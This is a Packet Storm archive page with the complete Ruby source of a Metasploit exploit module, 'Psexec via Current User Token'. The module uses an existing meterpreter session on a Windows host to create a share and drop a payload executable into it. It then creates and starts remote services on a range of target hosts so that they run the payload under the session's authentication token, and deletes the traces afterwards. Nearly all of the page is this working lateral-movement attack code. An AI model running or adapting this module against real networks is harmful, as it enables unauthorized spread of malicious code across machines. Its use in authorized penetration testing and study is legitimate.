exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Psexec Via Current User Token

Psexec Via Current User Token
Posted Aug 3, 2012
Authored by Jabra, egypt | Site metasploit.com

This Metasploit module uploads an executable file to the victim system, creates a share containing that executable, creates a remote service on each target system using a UNC path to that file, and finally starts the service(s). The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash.

tags | exploit, remote
advisories | CVE-1999-0504, OSVDB-3106
SHA-256 | 1266e769e519a09d7281cc5e6e4bf971bf2865f98a66227eb701a97be346b69f

Psexec Via Current User Token

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Exploit::Local
include Post::Windows::WindowsServices
include Exploit::EXE
include Post::File
include Post::Common

def initialize(info={})
super( update_info( info,
'Name' => 'Psexec via Current User Token',
'Description' => %q{
This module uploads an executable file to the victim system, creates
a share containing that executable, creates a remote service on each
target system using a UNC path to that file, and finally starts the
service(s).

The result is similar to psexec but with the added benefit of using
the session's current authentication token instead of having to know
a password or hash.
},
'License' => MSF_LICENSE,
'Author' => [
'egypt',
'jabra' # Brainstorming and help with original technique
],
'References' => [
# same as for windows/smb/psexec
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0
))

register_options([
OptString.new("INTERNAL_ADDRESS", [
false,
"Session's internal address or hostname for the victims to grab the "+
"payload from (Default: detected)"
]),
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
])
end

def exploit
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)

# XXX Find the domain controller

#share_host = datastore["INTERNAL_ADDRESS"] || detect_address
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
print_status "Using #{share_host} as the internal address for victims to get the payload from"

# Build a random name for the share and directory
share_name = Rex::Text.rand_text_alphanumeric(8)
drive = session.fs.file.expand_path("%SYSTEMDRIVE%")
share_dir = "#{drive}\\#{share_name}"

# Create them
print_status("Creating share #{share_dir}")
session.fs.dir.mkdir(share_dir)
cmd_exec("net share #{share_name}=#{share_dir}")

# Generate an executable from the shellcode and drop it in the share
# directory
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
payload_exe = generate_payload_exe_service(
:servicename => name,
# XXX Ghetto
:arch => payload.send(:pinst).arch.first
)

print_status("Dropping payload #{filename}")
write_file("#{share_dir}\\#{filename}", payload_exe)

service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"

begin
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server|
begin
print_status("#{server.ljust(16)} Creating service #{name}")

# 3 is Manual startup. Should probably have constants for this junk
service_create(name, display_name, service_executable, 3, server)

# If everything went well, this will create a session. If not, it
# might be permissions issues or possibly we failed to create the
# service.
print_status("#{server.ljust(16)} Starting the service")
service_start(name, server)

print_status("#{server.ljust(16)} Deleting the service")
service_delete(name, server)
rescue
print_error("Exception running payload: #{$!.class} : #{$!}")
print_error("#{server.ljust(16)} WARNING: May have failed to clean up!")
print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
next
end
end
ensure
print_status("Deleting share #{share_name}")
cmd_exec("net share #{share_name} /delete /y")
print_status("Deleting files #{share_dir}")
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
end

end

end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close